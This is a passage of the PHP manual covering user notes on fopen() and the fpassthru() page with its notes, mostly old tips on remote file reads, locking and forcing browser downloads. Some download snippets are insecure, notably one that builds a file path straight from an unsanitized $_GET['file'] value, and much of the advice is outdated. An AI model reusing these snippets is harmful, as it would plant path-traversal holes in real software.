        $this->_fp = fsockopen(($this->_protocol == 'https' ? 'ssl://' : '') . $this->_host, $this->_port);
        fwrite($this->_fp, $req);
        while(is_resource($this->_fp) && $this->_fp && !feof($this->_fp))
            $response .= fread($this->_fp, 1024);
        fclose($this->_fp);

        // split header and body
        $pos = strpos($response, $crlf . $crlf);
        if($pos === false)
            return($response);
        $header = substr($response, 0, $pos);
        $body = substr($response, $pos + 2 * strlen($crlf));

        // parse headers
        $headers = array();
        $lines = explode($crlf, $header);
        foreach($lines as $line)
            if(($pos = strpos($line, ':')) !== false)
                $headers[strtolower(trim(substr($line, 0, $pos)))] = trim(substr($line, $pos+1));

        // redirection?
        if(isset($headers['location']))
        {
            $http = new HTTPRequest($headers['location']);
            return($http->DownloadToString($http));
        }
        else
        {
            return($body);
        }
    }
}
?>
admin at sellchain dot com 17-Oct-2005 04:34
TIP: If you are using fopen and fread to read HTTP or FTP or Remote Files, and experiencing some performance issues such as stalling, slowing down and otherwise, then it's time you learned a thing called cURL.

Performance Comparison:

10 per minute for fopen/fread for 100 HTTP files
2000 per minute for cURL for 2000 HTTP files

cURL should be used for opening HTTP and FTP files, it is EXTREMELY reliable, even when it comes to performance.

I noticed when using too many scripts at the same time to download the data from the site I was harvesting from, fopen and fread would go into deadlock. When using cURL i can open 50 windows, running 10 URL's from each window, and getting the best performance possible.

Just a Tip :)
nefertari at nefertari dot be 20-Sep-2005 02:47
Important note:

You have always to use the real path name for a file with the command fopen [for example: fopen($filename, 'w')], never use a symbolic link, it will not work (unable to open $filename).
durwood at speakeasy dot NOSPAM dot net 07-Sep-2005 08:43
I couldn't for the life of me get a certain php script working when i moved my server to a new Fedora 4 installation. The problem was that fopen() was failing when trying to access a file as a URL through apache -- even though it worked fine when run from the shell and even though the file was readily readable from any browser.  After trying to place blame on Apache, RedHat, and even my cat and dog, I finally ran across this bug report on Redhat's website:

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=164700

Basically the problem was SELinux (which I knew nothing about) -- you have to run the following command in order for SELinux to allow php to open a web file:

/usr/sbin/setsebool httpd_can_network_connect=1

To make the change permanent, run it with the -P option:

/usr/sbin/setsebool -P httpd_can_network_connect=1

Hope this helps others out -- it sure took me a long time to track down the problem.
Luiz Miguel Axcar (lmaxcar at yahoo dot com dot br) 17-Aug-2005 10:11
If you are getting message "Warning: fopen(): URL file-access is disabled in the server configuration", you can use function below to get the content from a local or remote file.

Function uses CURL lib, follow the link to get help: http://www.php.net/curl

<?php
/*
   * @return string
   * @param string $url
   * @desc Return string content from a remote file
   * @author Luiz Miguel Axcar (lmaxcar@yahoo.com.br)
*/

function get_content($url)
{
    $ch = curl_init();

    curl_setopt ($ch, CURLOPT_URL, $url);
    curl_setopt ($ch, CURLOPT_HEADER, 0);

    ob_start();

    curl_exec ($ch);
    curl_close ($ch);
    $string = ob_get_contents();

    ob_end_clean();

    return $string;
}

#usage:
$content = get_content ("http://www.php.net");
var_dump ($content);
?>
ideacode 03-Aug-2005 04:28
Note that whether you may open directories is operating system dependent. The following lines:

<?php
// Windows ($fh === false)
$fh = fopen('c:\\Temp', 'r');

// UNIX (is_resource($fh) === true)
$fh = fopen('/tmp', 'r');
?>

demonstrate that on Windows (2000, probably XP) you may not open a directory (the error is "Permission Denied"), regardless of the security permissions on that directory.

On UNIX, you may happily read the directory format for the native filesystem.
Thomas Candrian tc_ at gmx dot ch 12-Nov-2004 04:35
With this it isn't possible to get data from another port than 80 (and 443) - at least for me. Because of that I've made this function who gets data from every port you want using HTTP:

<?php;
function getcontent($server, $port, $file)
{
    $cont = "";
    $ip = gethostbyname($server);
    $fp = fsockopen($ip, $port);
    if (!$fp)
    {
        return "Unknown";
    }
    else
    {
        $com = "GET $file HTTP/1.1\r\nAccept: */*\r\nAccept-Language: de-ch\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\nHost: $server:$port\r\nConnection: Keep-Alive\r\n\r\n";
        fputs($fp, $com);
        while (!feof($fp))
        {
            $cont .= fread($fp, 500);
        }
        fclose($fp);
        $cont = substr($cont, strpos($cont, "\r\n\r\n") + 4);
        return $cont;
    }
}
echo getcontent("www.myhost.com", "81", "/"));
?>

Works fine for me. Had to do this especially for a shoutcast server, which only delivered the HTML-file if the user-agent was given.
pflaume dot NOSPAM at NOSPAM dot gmx dot de 07-Nov-2004 11:31
fopen() and PROXY

I wondered why there is no possibility to use fopen() through a proxy in php. The solution posted above did not work for me.

This little function gets http through a given proxy:

<?php
function proxy_url($proxy_url)
{
    $proxy_name = '127.0.0.1';
    $proxy_port = 4001;
    $proxy_cont = '';

    $proxy_fp = fsockopen($proxy_name, $proxy_port);
    if (!$proxy_fp)    {return false;}
    fputs($proxy_fp, "GET $proxy_url HTTP/1.0\r\nHost: $proxy_name\r\n\r\n");
    while(!feof($proxy_fp)) {$proxy_cont .= fread($proxy_fp,4096);}
    fclose($proxy_fp);
    $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
    return $proxy_cont;
}
?>
Jem Tallon 14-Apr-2004 12:11
If you're using fopen to open a URL that requires authorization, you might need to force a HTTP/1.0 request for it since fopen won't support HTTP/1.1 requests. You can do that by setting your user_agent to one that is known only to support HTTP/1.0 (most webservers will be configured to force HTTP/1.0 for some browsers). Here's what worked for me:

<?php
$returned=URLopen("http://$username:$password@example.com");

function URLopen($url)
{
        // Fake the browser type
        ini_set('user_agent','MSIE 4\.0b2;');

        $dh = fopen("$url",'r');
        $result = fread($dh,8192);
        return $result;
}
?>
richard dot quadling at carval dot co dot uk 04-Feb-2004 02:04
The issue involving some sites requiring a valid user-agent string when using fopen can easily be resolved by setting the user_agent string in the PHP.INI file.

If you do not have access to the PHP.INI file, then the use of

ini_set('user_agent','Mozilla: (compatible; Windows XP)');

should also work.

The actual agent string is up to you. If you want to identify to the sites that you are using PHP ...

ini_set('user_agent','PHP');

would do.

Regards,

Richard Quadling.
sergiopaternoster at tiscali dot it 27-Nov-2003 02:11
If you want to open large files (more than 2GB) that's what I did and it works: you should recompile your php with the CFLAGS="-D_FILE_OFFSET_BITS=64" ./configure etc... This tells to your compiler (I tested only gcc on PHP-4.3.4 binary on Linux and Solaris) to make the PHP parser binary large file aware. This way fopen() will not give you the "Value too large for defined data type" error message.
God bless PHP
ciao
Sergio Paternoster
ken dot gregg at rwre dot com 26-Nov-2003 12:03
PHP will open a directory if a path with no file name is supplied. This just bit me. I was not checking the filename part of a concatenated string.

For example:

<?php
$fd = fopen('/home/mydir/' . $somefile, 'r');
?>

Will open the directory if $somefile = ''

If you attempt to read using the file handle you will get the binary directory contents. I tried append mode and it errors out so does not seem to be dangerous.

This is with FreeBSD 4.5 and PHP 4.3.1. Behaves the same on 4.1.1 and PHP 4.1.2. I have not tested other version/os combinations.
dan at cleandns dot com 19-Nov-2003 08:15
<?php
#going to update last users counter script since
#aborting a write because a file is locked is not correct.

$counter_file = '/tmp/counter.txt';
clearstatcache();
ignore_user_abort(true);     ## prevent refresh from aborting file operations and hosing file
if (file_exists($counter_file)) {
   $fh = fopen($counter_file, 'r+');
    while(1) {
      if (flock($fh, LOCK_EX)) {
         #$buffer = chop(fgets($fh, 2));
         $buffer = chop(fread($fh, filesize($counter_file)));
         $buffer++;
         rewind($fh);
         fwrite($fh, $buffer);
         fflush($fh);
         ftruncate($fh, ftell($fh));
         flock($fh, LOCK_UN);
         break;
      }
   }
}
else {
   $fh = fopen($counter_file, 'w+');
   fwrite($fh, "1");
   $buffer="1";
}
fclose($fh);

print "Count is $buffer";

?>
unshift at yahoo dot com 02-Jul-2003 01:58
It seems that fopen() errors when you attempt opening a url starting with HTTP:// as opposed to http:// - it is case sensitive.  In 4.3.1 anyway..."HTTP://", by not matching "http://" will tell the wrapper to look locally.  From the looks of the source, the same goes for HTTPS vs https, etc.
RobNar 17-Jun-2003 05:15
This is an addendum to ibetyouare at home dot com's note about Apache directory permissions.  If you are on a shared host and cannot tweak Apache's permissions directives then you might try setting the same thing in a .htaccess file.  Failing that, if you are having trouble just creating files then  set the directory permissions to allow writing (for whatever directory the file is supposed to be in) and include the following before fopen():

`touch /path/to/myfile/myfile.txt`;

That will usually create a new empty file that you can write to even when fopen fails. - PHP 4.3.0
Jhilton a at t nurv dot us 05-Jun-2003 09:54
Quick tip. If using fopen to make http requests that contain a querystring, it is advised that you urlencode() your values, else characters like @ can make fopen (or whatever wrapper it is using) throw an error.
04-Mar-2003 05:49
To overwrite a file with a new content without deleting it, and without changing the owner or access rights, it's best to not use:

<?php
$file = fopen($filename, 'r+b'); // binary update mode
//...
ftruncate($file, 0);
fwrite($file, $my_stuff);
//...
fclose($file);
?>

but instead the faster one:

<?php
$file = fopen($filename, 'r+b); // binary update mode
//...
rewind($file);
fwrite($file, $my_stuff);
fflush($file);
ftruncate($file, ftell($file));
//...
fclose($file);
?>

The reason is that truncating a file at size 0 forces the OS to deallocate all storage clusters used by the file, before you write your content which will be reallocated on disk.

The second code simply overwrites the existing content where it is already located on disk, and truncates any remaining bytes that may exist (if the new content is shorter than the old content). The "r+b" mode allows access for both read and write: the file can be kept opened after reading it and before rewriting the modified content.

It's particularly useful for files that are accessed often or have a size larger than a few kilobytes, as it saves lots of system I/O, and also limits the filesystem fragmentation if the updated file is quite large.

And this method also works if the file is locked exclusively once opened (but I would rather recommend using another empty file for locking purpose, opened with "a+" access mode, in "/var/lock/yourapp/*" or other fast filesystems where filelocks are easily monitored and where the webserver running PHP is allowed to create and update lock files, and not forgetting to close the lock file after closing the content file).
01-Jul-2002 06:57
Note that if specifying the optional 'b' (binary) mode, it appears that it cannot be the first letter for some unaccountable reason. In other words, "br" doesn't work, while "rb" is ok!
php at themastermind1 dot com 24-Oct-2001 07:37
I have found that I can do fopen("COM1:", "r+"); to open the comport in windows. You have to make sure the comport isn't already open or you will get a permission denied.

I am still playing around with this but you have to somehow flush what you send to the comport if you are trying to communicate realtime with a device.
keithm at aoeex dot NOSPAM dot com 31-Jul-2001 02:19
I was working on a consol script for win32 and noticed a few things about it.  On win32 it appears that you can't re-open the input stream for reading, but rather you have to open it once, and read from there on.  Also, i don't know if this is a bug or what but it appears that fgets() reads until the new line anyway.  The number of characters returned is ok, but it will not halt reading and return to the script.  I don't know of a work around for this right now, but i'll keep working on it.

This is some code to work around the close and re-open of stdin.

<?php
function read($length='255'){
    if (!isset($GLOBALS['StdinPointer'])){
        $GLOBALS['StdinPointer']=fopen("php://stdin","r");
    }
    $line=fgets($GLOBALS['StdinPointer'],$length);
    return trim($line);
}
echo "Enter your name: ";
$name=read();
echo "Enter your age: ";
$age=read();
echo "Hi $name, Isn't it Great to be $age years old?";
@fclose($StdinPointer);
?>
icon at mricon dot com 09-Nov-1999 11:44
If you're running PHP as apache module, it will always write files as "nobody", "www", "httpd", (or whatever user your webserver runs as) unless you specify a different user/group in httpd.conf, or compile apache with suexec support.
However, if you run PHP as a CGI wrapper, you may setuid the PHP executable to whatever user you wish (*severe* security issues apply). If you really want to be able to su to other user, I recommend compiling with suexec support.
AFAIK, PHP can't NOT use SuEXEC if apache does. If PHP is configured as an apache module it will act as whatever user the apache is. If apache SuEXEC's to otheruser:othergroup (e.g. root:root), that's what PHP will write files as, because it acts as a part of apache code. I suggest you double-check your SuEXEC configuration and settings. Note: you can't su to another user within the PHP code -- it has to be an apache directive, either through <VirtualHost>, or through .htaccess. Also note: I'm not sure how it all works (if it works at all) on Win32 platforms.
Check www.apache.org to see how it's done.


Output all remaining data on a file pointer

  • « fopen
  • fputcsv »
  • PHP Manual
  • Filesystem Functions
  • Output all remaining data on a file pointer

fpassthru

(PHP 4, PHP 5)

fpassthru — Output all remaining data on a file pointer

Description

int fpassthru ( resource $handle )

Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.

You may need to call rewind() to reset the file pointer to the beginning of the file if you have already written data to the file.

If you just want to dump the contents of a file to the output buffer, without first modifying it or seeking to a particular offset, you may want to use the readfile(), which saves you the fopen() call.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

Return Values

If an error occurs, fpassthru() returns FALSE. Otherwise, fpassthru() returns the number of characters read from handle and passed through to the output.

Examples

Example #1 Using fpassthru() with binary files

<?php

// open the file in a binary mode
$name = './img/ok.png';
$fp = fopen($name, 'rb');

// send the right headers
header("Content-Type: image/png");
header("Content-Length: " . filesize($name));

// dump the picture and stop the script
fpassthru($fp);
exit;

?>

Notes

Note:

When using fpassthru() on a binary file on Windows systems, you should make sure to open the file in binary mode by appending a b to the mode used in the call to fopen().

You are encouraged to use the b flag when dealing with binary files, even if your system does not require it, so that your scripts will be more portable.

See Also

  • readfile() - Outputs a file
  • fopen() - Opens file or URL
  • popen() - Opens process file pointer
  • fsockopen() - Open Internet or Unix domain socket connection

User Contributed Notes

RaulentRoi 06-Jun-2013 11:55
Passthru didn't work for me for files greater than about 5Mb. Just adding "ob_end_clean()", all works fine now, including > 50Mb files.

$ToProtectedFile=$pathUnder.$filename
$handle = @fopen($ToProtectedFile, "rb");

@header("Cache-Control: no-cache, must-revalidate");
@header("Pragma: no-cache"); //keeps ie happy
@header("Content-Disposition: attachment; filename= ".$NomFichier);
@header("Content-type: application/octet-stream");
@header("Content-Length: ".$SizeOfFile);
@header('Content-Transfer-Encoding: binary');

ob_end_clean();//required here or large files will not work
@fpassthru($handle);//works fine now
public at telcontar dot net 08-Apr-2007 10:26
(Do not delete this, it is NOT a bug report. It is a *follow up* to vague comments on the page about fpassthru() using excessive memory, and a usage tip that if you want to use pass-through processing, PHP 5 is strongly advised. It may LOOK like a bug report because unlike earlier tips, I've tried to clarify the situation. It is not a bug report because the problem is RESOLVED in PHP 5. Rather, anyone still using PHP 4 (for example, for compatibility reasons) should simply be aware that the problem is now resolved.)

In PHP 4 (4.4.4 tested as a CGI, Apache 2, Linux), use of both fpassthru() and fread() in a loop suffer the SAME memory "leakage". This is characterised by all data that is sent to the client also being kept inside PHP and not released. It would appear to be a failure to garbage collect the data.

In PHP 5 (5.2.1 tested as a CGI, Apache 2, Linux) this flaw is resolved in both cases. Neither fpassthru() nor fread() in a loop "leak" memory during execution.

The issue of which one to use appears not to be an issue of memory as both were equally flawed in PHP 4 and both are equally fixed in PHP 5.

Speed, is left to a reader exercise to test in the latest PHPs.
sarabas at itstudio dot pl 23-Mar-2007 11:55
In case of multiple buffering possibility try running ob_end_clean() from the example below in a loop:

while (@ob_end_clean());

It will help for example in case of automatic gz compression of output.
file downloads verified by session vars 22-Oct-2005 05:36
here is my code, i tried several combinations, but most of them didnt work, and had all kinds of unnecessary headers in them, etc. this has additional good features, such as it stops sending the file if the connection stops (hopefully it does anyways), and it fixes IE filename problems when sending files that contain more than one dot in them by using a simple  preg_replace (IE likes to terminate the filename and messes everything up):

<?
function send_file($path) {
    session_write_close();
    ob_end_clean();
    if (!is_file($path) || connection_status()!=0)
        return(FALSE);

    //to prevent long file from getting cut off from     //max_execution_time

    set_time_limit(0);

    $name=basename($path);

    //filenames in IE containing dots will screw up the
    //filename unless we add this

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE"))
        $name = preg_replace('/\./', '%2e', $name, substr_count($name, '.') - 1);

    //required, or it might try to send the serving     //document instead of the file

    header("Cache-Control: ");
    header("Pragma: ");
    header("Content-Type: application/octet-stream");
    header("Content-Length: " .(string)(filesize($path)) );
    header('Content-Disposition: attachment; filename="'.$name.'"');
    header("Content-Transfer-Encoding: binary\n");

    if($file = fopen($path, 'rb')){
        while( (!feof($file)) && (connection_status()==0) ){
            print(fread($file, 1024*8));
            flush();
        }
        fclose($file);
    }
    return((connection_status()==0) and !connection_aborted());
}

?>
jonathan at corporacionlinux dot cl 05-Aug-2005 05:58
While trying to "passthru" a file to the browser via PHP, but using the FEOF loop, the script tried to buffer the entire file before passing it to the browser. This is my original script. When calling it with a 15M PHP memory limit and a 16M file, apache killed the script.

<?php
    $name = $tempDir . $_GET["file"];
    $fd = fopen($name, 'rb');

    if($fd == false)

        die("<font color=red>ERROR: File not found.</font>");

    // send the right headers
    header("Cache-Control: ");// leave blank to avoid IE errors
    header("Pragma: ");// leave blank to avoid IE errors
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"" . $_GET["file"] . "\"");
    header("Content-length:".(string)(filesize($name)));
    sleep(1);

    session_write_close();
    ob_flush();
    flush();

         while(!feof($fd)) {

               $buffer = fread($fd, 2048);
               print $buffer;
         }

         fclose ($fd);
         exit;
?>

Apache error log read:
Allowed memory size of 15728640 bytes exhausted (tried to allocate 10240 bytes)

I tried everything, including a flush() inside the loop. But the solution was forcing the flush other way:

<?php

    $buffer = fread($fd, 32 * 1024);

?>

voila... works just fine for me.
webmaster at hardcorehoneyz dot com 16-Dec-2004 02:20
In relation to using sessions and fpassthru together.

Try adding: session_write_close()

somewhere near the top of the download script, before you start sending the video, and that should take care of it.

I've implemented and tested session_write_close() and it works like a dream. Other links can now be clicked and loaded whilst a big file is being passed using fpassthru.

Big thanks to Greg for this tip. What a helpful community we live in :0)
webmaster at hardcorehoneyz dot com 06-Dec-2004 02:33
I believe the following problem is a result of using sessions and fpassthru together.

I have a subscription based site which protects large video files (WMV format between 100-120MB) by storing them beneath web root. Downloading a video file requires the user to click a HTML link which requests a PHP script e.g. download-video.php?video_id=123. If the user is valid (session vars created from sucessful login) the script then creates the necessary headers to trigger a 'Save As' download box, opens the file from beneath web root and sends it using fpassthru.

The problem is as follows:

The user should be able to click other links on the site whilst a file is downloading. But when they do so, the requested page won't load until the download is complete.

As this download script is a seperate PHP request, the user should be able to load other pages on the site whilst the file is downloading.

At time of writing, I've tried almost everything to remove this bug. There must be a problem with using a PHP script rather than a direct web server link to download files.
lbaudrillard at hotmail dot com 15-Nov-2004 09:45
The way the PHP page is generated (buffered or not, and how if buffered) has an impact of the download function made using fpassthru (or fread, ...). I mean a download function may work just fine when it is called from a simple php file (no buffering here):

<?php
    function download($file) { ... }

    $filename = "/tmp/test.zip";
    download($filename);
?>

but may fails "in the real life" when the page is buffered:

<?php
    ob_start("ob_gzhandler");
    ...
    require_once(download.php);
    ...
    $filename = "/files/file.zip";
    download($filename);
?>

In my particular case, only Firefox 1.0 English did not perform the download, because of the ob_start("ob_gzhandler"). Replacing it by ob_start() solved the problem.

Hope that helps
Laurent from Paris, France
phpnet at -remove-me-uchange dot co dot uk 03-Nov-2004 02:11
I've modified the example given by straz at -removethispart-mac dot com to count each byte of the file out.  This can then be compared with the filesize once the file sending is complete to determine whether the file was sent succesfully or not.

Of course, this doesn't guarantee that the user actually recieved the file successfully though will let us know if something goes wrong half way through reading/sending the file at our end.

<?
/* fpassthru is apparantly a memory-hog. Use this instead */
    while(!feof($fp)) {
        $buf = fread($fp, 4096);
        echo $buf;
        $bytesSent+=strlen($buf);    /* We know how many bytes were sent to the user */
    }
?>

I've then got this code to update my database to say that the file was downloaded successfully.

<?
    if($bytesSent==filesize($file)) {
        /* Do some cool stuff here! */
    }
?>
nexz2004 at yahoo dot com 21-May-2004 09:30
also it is possible to make your php script resume downloads, to do this you need to check $_SERVER['HTTP_RANGE'] which may contain something like this
 "bytes=10-" - resume from position 10, and to end of file

when sending response it is also needed to send with headers
Accept-Ranges: bytes
Content-Length: {filesize}
Content-Range: bytes 10-{filesize-1}/{ffilesize}

hope its usefull
axx at axxess dot ca 15-Feb-2004 10:04
I have also perused this list of examples which I am sure work for that person, but, as others have mentioned here, do not work for me or (anyone else).

So what I did was try out all of these examples, check other sources of information, and put together what I think to be an example of what works on 'more than a few' systems.  The following example works for me wherever I need to create a download using fpassthru(), which works with IE6 (among other browsers):

<?
/*/
Download a file using fpassthru()
/*/
$fileDir = "/home/pathto/myfiles"; // supply a path name.
$fileName = "myfile.zip"; // supply a file name.
$fileString=$fileDir.'/'.$fileName; // combine the path and file
// translate file name properly for Internet Explorer.
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")){
  $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
}
// make sure the file exists before sending headers
if(!$fdl=@fopen($fileString,'r')){
    die("Cannot Open File!");
} else {
  header("Cache-Control: ");// leave blank to avoid IE errors
  header("Pragma: ");// leave blank to avoid IE errors
  header("Content-type: application/octet-stream");
  header("Content-Disposition: attachment; filename=\"".$fileName."\"");
  header("Content-length:".(string)(filesize($fileString)));
    sleep(1);
    fpassthru($fdl);
}
?>

All that should require editing is the $fileDir and $fileName variables.  Upload the file and point to it with your browser to see if the script will prompt you for a download.

NOTE : Regarding File Types : Leaving the 'Content-type' header as-is should allow you to download pretty much any file.  I have tested it on some of the more popular file types including zip, css, php, inc, htm, png, gif and jpg.  During these tests, I did note that if I selected 'cancel' or 'open' when prompted to download either a gif or jpg, that it would indeed cancel or open in my image browser as it should, but subsequent attempts at 'downloading only' yielded a web page view of the image.  Closing the window and opening a new one reset this, allowing me save a jpeg or gif to the hard drive directly.  I believe the problem lies in the way the caching headers are treated, since if any info is specified in the 'cache-control' header, the browser download fails completely (in IE, anyways).

Enjoy! Mail me if it works!  ;-)
mm at tbwachiat dot com 17-Jan-2004 02:00
I've tried all of these renditions of this elusive task.  NONE of them have worked for me.  And when i say work, i mean where i can click some sort of link and have a file Save As... dialog box come up on MSIE 6.0.  In every other browser i've tried (Safari,Firebird,Netscape pc and mac) all have worked where it downloads to my desktop or asks me to save it in a certain place.

on MSIE 6.0.  the file i'm trying to download appears in it's own window. it's an image. BUT, the only thing i can do with it is SAVE IT AS A BMP. ugh.

I'm using the fpassthru function because i have files that must not be served by the webserver.
The Otter 10-Jan-2004 06:57
In reply to spam at flatwan dot net
This might save someone some time. I created a program to list some rather large files and create links for the end user to click on in order to download them (using the php function fpassthru()).

The problem I was having was it would make it half way through the download (about 377 megs) and the script would terminate and the download would stop.

After doing some shotgun troubleshooting I discovered the php config option 'max_execution_time = 30'. Upon changing it to 'max_execution_time = -1' the files >370 megs can be downloaded without the script aborting.

The best way to do this would to be:
<?php
@ignore_user_abort();
@set_time_limit(0);
?>
This only changes these settings for the script that calls them. (Thanks to (I don't remember who) who wrote a form mail script that used these two lines)
spam at flatwan dot net 19-Nov-2003 01:07
This might save someone some time. I created a program to list some rather large files and create links for the end user to click on in order to download them (using the php function fpassthru()).

The problem I was having was it would make it half way through the download (about 377 megs) and the script would terminate and the download would stop.

After doing some shotgun troubleshooting I discovered the php config option 'max_execution_time = 30'. Upon changing it to 'max_execution_time = -1' the files >370 megs can be downloaded without the script aborting.

Jon
arabold AT nero DOT com 15-May-2003 01:11
Here's a summary the different headers you need to set to make downloads *always* work with IE and Mozilla:

[SNIP]
  $disposition = "inline"; // "inline" to view file in browser or "attachment" to download to hard disk
  $mime = "image/jpeg"; // or whatever the mime type is
  $name = "foo.jpg"; // file name
  $path = "/path/to/foo.jpg"; // full path and file name

  if (isset($_SERVER["HTTPS"])) {
      /**
       * We need to set the following headers to make downloads work using IE in HTTPS mode.
       */
      header("Pragma: ");
      header("Cache-Control: ");
      header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
      header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
      header("Cache-Control: no-store, no-cache, must-revalidate"); // HTTP/1.1
      header("Cache-Control: post-check=0, pre-check=0", false);
  }
      else if ($disposition == "attachment") {
          header("Cache-control: private");
  }
  else {
      header("Cache-Control: no-cache, must-revalidate");
      header("Pragma: no-cache");
  }
  header("Content-Type: $mime");
  header("Content-Disposition:$disposition; filename=\"".trim(htmlentities($name))."\"");
  header("Content-Description: ".trim(htmlentities($name)));
  header("Content-Length: ".(string)(filesize($path)));
  header("Connection: close");
[/SNIP]

This way all kinds of download work for me. Hope that helps
DarkAngela_ at hotmail dot com 08-May-2003 01:48
Just a little thing more from the ssharma's script (thx to him for his great help ...) :

Don't forget to put the fopen with the "rb" argument and not just with the "r"
or you won't be able to make the script work with all pdf file.

My final script (working for Open and Save on a 1.9 Mb complex PDF file) :

<?php
//The filename is stored in the $produitFilename variable in my script (the only thing you need)

// You need to specify the REAL path for your file and not the URL
$fullPath    = getcwd()."./directory_where_the_file_is/".$produitFilename;

if ($fd = fopen ($fullPath, "rb")) {
    $fsize    =filesize($fullPath);
    $fname     = basename ($fullPath);

    header("Pragma: ");
    header("Cache-Control: ");
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"".$fname."\"");
    header("Content-length: $fsize");

    fpassthru($fd);
}
?>

Have fun and thx u all 4 ur great help ...

Simon (from Paris - France)
Omega2k at web dot de 27-Mar-2003 02:07
To throttle download-speed of specific files this works fine in my board hosted on my local machine:

//#######################################
 $big_file=filesize($completeFilePath)/1024; //size of file in kb
 header('Content-Type: '.$mime_type);
 header('Content-disposition: '.$content_disp.'filename="'.$attachment_name.'"');
 header('Cache-Control: no-cache');
 header('Pragma: no-cache');
 header('Expires: 0');
 header('Content-Length: '.(string)(filesize($completeFilePath)));
 $fp=fopen($completeFilePath,'r');
 while(!feof($fp)) {
     $buffer = fread($fp, 1024*6); //speed-limit 6kb/s
     if ($big_file>32 &&
     $extension!="jpg" &&
     $extension!="jpeg" &&
     $extension!="gif" &&
     $extension!="png" &&
     $extension!="txt")
     sleep(1); //if filesize>32kb and no smallfile like jpg,gif or so - wait 1 second
     print $buffer;
 }
 fclose($fp);
 header ("Connection: close");
//#######################################

I think it's the easiest way to slow down downloading files without using a loop or for-next - this really saves performace of php and is quite exact by using 1024*number_of_kb in one second...

Thats all

Greetings, omega2k.dynu.com
brett at NOSPAM dot brettbrewer dot com 04-Feb-2003 11:49
The above method worked for me after trying everything else imaginable to get Explorer to download a file via PHP. However, I had to change the content-length line. No need to "stringify" the $size variable as in the above post. The method below works for both small and very large file (tested on files larger than 30MB with no probs)...

<?php
$distribution="/path/to/a/file.exe"
if ($fd = fopen ($distribution, "r")){

          $size=filesize($distribution);
          $fname = basename ($distribution);

//This is some really weak code I used just to redirect to the file before I fixed
//this problem...it makes the browser handle the download via Apache instead of PHP
//but it would be really easy to then find out the true location of the file

               //header("Location: $distribution");
             //fclose ($fd);
             //exit;

//below is a much better way to do it...

     header("Pragma: ");
      header("Cache-Control: ");
     header("Content-type: application/octet-stream");
      header("Content-Disposition: attachment; filename=\"".$fname."\"");
      header("Content-length: $size");

          while(!feof($fd)) {
               $buffer = fread($fd, 2048);
               print $buffer;
          }
          fclose ($fd);
          exit;
}
?>

Good luck.
Brett Brewer.
shaun at nospam dot phplabs dot com 30-Nov-2002 01:41
Note that if you use these two headers from a previous example:

header('Cache-Control: no-cache, must-revalidate');
header('Pragma: no-cache');

before sending a file to the browser, the "Open" option on Internet Explorer's file download dialog will not work properly. If the user clicks "Open" instead of "Save," the target application will open an empty file, because the downloaded file was not cached. The user will have to save the file to their hard drive in order to use it.

Make sure to leave these headers out if you'd like your visitors to be able to use IE's "Open" option.
john at bvstudios dot com 21-Nov-2002 09:05
In reply to:

"3. Through no amount of futzing of headers was I able to get the filename to be set properly when the actual transfer was initiated via a refresh (META or via headers).  I don't know if this is also an MSIE only issue or not.  If 'download.php?dl=now' (for example) had a refresh back to 'download.php', such that it was intended to show some information (e.g. install instructions) as well as launch the download, then the MSIE insisted that the downloaded file was supposed to be named 'download.php?dl=now' or 'download.php', ignoring the filename in the headers."

I recently had the exact same issue.  What I found is that this was due to my session initialization on the page.  For some reason doing a session_start() caused the script to try and download itself, not what I was indicating through various header() calls.

The solution was to move the download portion above the session initialization.  At first glance this may seem dangerous, but I only process it if there are POST vars and the script is reloading itself.  This way I know the form was submitted by that page and before they can submit it, they have to have a session!  Adding an .htaccess rule to deny all for the directory where the files are stored also helps because then only my script can access the files.
mikek at nospam dot muonics dot c o m 05-Nov-2002 11:07
Found a workaround to another headache that just cropped up tonight.  Apparently Opera 6.1 on Linux (unsure of other versions/platforms) has problems downloading files using the above methods if you have enabled compression via zlib.output_compression in php.ini.

It seems that Opera sees that the actual transfer size is less than the size in the "Content-length" header for the download and decides that the transfer was incomplete or corrupted.  It then either continuously retries the download or else leaves you with a corrupted file.

Solution:  Make sure your download script/section is off in its own directory. and add the following to your .htaccess file for that directory:

php_flag zlib.output_compression off
claude_minette at hotmail dot com 30-Oct-2002 12:51
This code works fine with a download manager... maybe not the best solution, but the only one that works with IE!!!!!

It forces download, but gif file don't want to be downloaded!!! so I need to simply display them in browser...

NB $file is the result of a query on the file table...

require_once("auth.inc.php");
$attachment = (strstr($HTTP_USER_AGENT, "MSIE")) ? "" : " attachment"; // IE 5.5 fix.
//Content of file
if (!headers_sent()){
   $ficexp=explode('.',$file["orig_name"]);
   $ext=$ficexp[sizeof($ficexp)-1];
   if ($ext!='gif'){
           header('Cache-Control: no-cache, must-revalidate');
           header('Pragma: no-cache');
           header("Content-Type: application/force-download");
           header("Content-Length: ".filesize("files/".$file["save_name"]));
           header("Content-Disposition: ".$attachment."; filename=".$file["orig_name"]);
   }
   $fn=fopen("files/".$file["save_name"], "rb");
   fpassthru($fn);
}
else {
    MessageBox('Headers already sent, cannot force download!');
}

Min's
mikek at muonics dot nospam dot c dot o 07-Oct-2002 12:44
Found a workaround for the MSIE cache bug that puts brackets around dotted items I posted about a while back (e.g. "somefile1.0-xyz.zip" becoming "somefile[1][0]-xyz.zip").

It turns out if you encode all but the last dot as %2e, then MSIE won't do this.  If you encode all of them (including the last dot), then MSIE sticks an extra bracketed number at the end of the file (e.g. "somefile1.0-xyz.zip[1]").  Unfortunately, however, some other browsers then want to save the file with the %2e in the filename instead of the dots.

if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE"))
{
    $fileName = preg_replace('/\./', '%2e', $fileName,
        substr_count($fileName, '.') - 1);
}

Viola.  Properly named files.  This works at least with MSIE 6.0.
